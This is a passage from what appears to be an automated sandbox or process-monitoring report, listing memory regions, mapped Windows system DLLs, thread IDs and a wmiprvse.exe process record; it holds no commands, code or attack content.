filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2713 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2714 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2715 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2716 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2717 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2718 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2719 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2720 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2721 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2722 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2723 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2724 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2725 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2726 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2727 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2728 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2729 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2730 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2731 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2732 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2733 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2734 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2735 start_va = 0x7fef77b0000 end_va = 0x7fef77cffff monitored = 0 entry_point = 0x7fef77c1854 region_type = mapped_file name = "wmipicmp.dll" filename = "\\Windows\\System32\\wbem\\WMIPICMP.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipicmp.dll") Region: id = 2736 start_va = 0x6a720000 end_va = 0x6a722fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "icmp.dll" filename = "\\Windows\\System32\\icmp.dll" (normalized: "c:\\windows\\system32\\icmp.dll") Region: id = 2737 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2738 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2739 start_va = 0x7fefa6f0000 end_va = 0x7fefa6f8fff monitored = 0 entry_point = 0x7fefa6f1070 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2740 start_va = 0x7fef3fa0000 end_va = 0x7fef3fedfff monitored = 0 entry_point = 0x7fef3fcc40c region_type = mapped_file name = "provthrd.dll" filename = "\\Windows\\System32\\provthrd.dll" (normalized: "c:\\windows\\system32\\provthrd.dll") Region: id = 2741 start_va = 0x7fef7700000 end_va = 0x7fef7716fff monitored = 0 entry_point = 0x7fef770b970 region_type = mapped_file name = "msvcirt.dll" filename = "\\Windows\\System32\\msvcirt.dll" (normalized: "c:\\windows\\system32\\msvcirt.dll") Region: id = 2742 start_va = 0x7fef20e0000 end_va = 0x7fef2165fff monitored = 0 entry_point = 0x7fef20effd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2743 start_va = 0x1110000 end_va = 0x132ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 2768 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2769 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2770 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2771 start_va = 0x1110000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 2772 start_va = 0x12b0000 end_va = 0x132ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 2773 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2774 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2775 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2776 start_va = 0x13b0000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2777 start_va = 0x7fef4490000 end_va = 0x7fef4497fff monitored = 0 entry_point = 0x7fef4491414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2778 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2779 start_va = 0x1530000 end_va = 0x177ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2892 start_va = 0x1550000 end_va = 0x15cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 2893 start_va = 0x1700000 end_va = 0x177ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2894 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 5903 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5904 start_va = 0xcf0000 end_va = 0xd41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32.dll.mui") Region: id = 5905 start_va = 0x1220000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 5906 start_va = 0x1530000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 5907 start_va = 0x7fef42f0000 end_va = 0x7fef42fafff monitored = 0 entry_point = 0x7fef42f46ec region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 5908 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5910 start_va = 0xd50000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 5912 start_va = 0x1330000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 5913 start_va = 0x1730000 end_va = 0x182ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 5923 start_va = 0x1b0000 end_va = 0x1b2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5945 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5946 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5947 start_va = 0xc30000 end_va = 0xc42fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c30000" filename = "" Region: id = 5948 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5949 start_va = 0xba0000 end_va = 0xba6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5950 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5951 start_va = 0xba0000 end_va = 0xba6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5952 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5953 start_va = 0xba0000 end_va = 0xba6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5954 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5955 start_va = 0xba0000 end_va = 0xba6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Thread: id = 129 os_tid = 0xcec Thread: id = 130 os_tid = 0xce8 Thread: id = 131 os_tid = 0xce4 Thread: id = 132 os_tid = 0xce0 Thread: id = 133 os_tid = 0xcdc Thread: id = 134 os_tid = 0xcd8 Thread: id = 135 os_tid = 0xcd4 Thread: id = 136 os_tid = 0xcd0 Thread: id = 137 os_tid = 0xccc Thread: id = 161 os_tid = 0x25c Thread: id = 162 os_tid = 0x91c Thread: id = 212 os_tid = 0xdcc Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5c223000" os_pid = "0x3b4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x248" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b19c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2895 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2896 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2897 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2898 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2899 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2900 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2901 start_va = 0xd0000 end_va = 0xd4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2902 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2903 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2904 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2905 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2906 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2907 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2908 start_va = 0x410000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 2909 start_va = 0x500000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2910 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2911 start_va = 0x5a0000 end_va = 0x727fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 2912 start_va = 0x730000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 2913 start_va = 0x8c0000 end_va = 0xb8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2914 start_va = 0xbb0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 2915 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2916 start_va = 0xd90000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 2917 start_va = 0xe40000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 2918 start_va = 0xf60000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 2919 start_va = 0xff0000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2920 start_va = 0x10c0000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 2921 start_va = 0x1260000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 2922 start_va = 0x1490000 end_va = 0x150ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 2923 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2924 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2925 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2926 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2927 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2928 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2929 start_va = 0x13fcc0000 end_va = 0x13fd2bfff monitored = 0 entry_point = 0x13fcfb450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2930 start_va = 0x7feef960000 end_va = 0x7feef9adfff monitored = 0 entry_point = 0x7feef961198 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 2931 start_va = 0x7fef01a0000 end_va = 0x7fef01c4fff monitored = 0 entry_point = 0x7fef01b8d6c region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 2932 start_va = 0x7fef20e0000 end_va = 0x7fef2165fff monitored = 0 entry_point = 0x7fef20effd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2933 start_va = 0x7fef4520000 end_va = 0x7fef4531fff monitored = 0 entry_point = 0x7fef45289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2934 start_va = 0x7fef46e0000 end_va = 0x7fef4700fff monitored = 0 entry_point = 0x7fef46f03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2935 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2936 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2937 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2938 start_va = 0x7fef7800000 end_va = 0x7fef783bfff monitored = 0 entry_point = 0x7fef7825aa8 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 2939 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2940 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2941 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2942 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2943 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2944 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2945 start_va = 0x7fefc8d0000 end_va = 0x7fefc93cfff monitored = 0 entry_point = 0x7fefc8d1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2946 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2947 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2948 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2949 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2950 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2951 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2952 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2953 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2954 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2955 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2956 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = 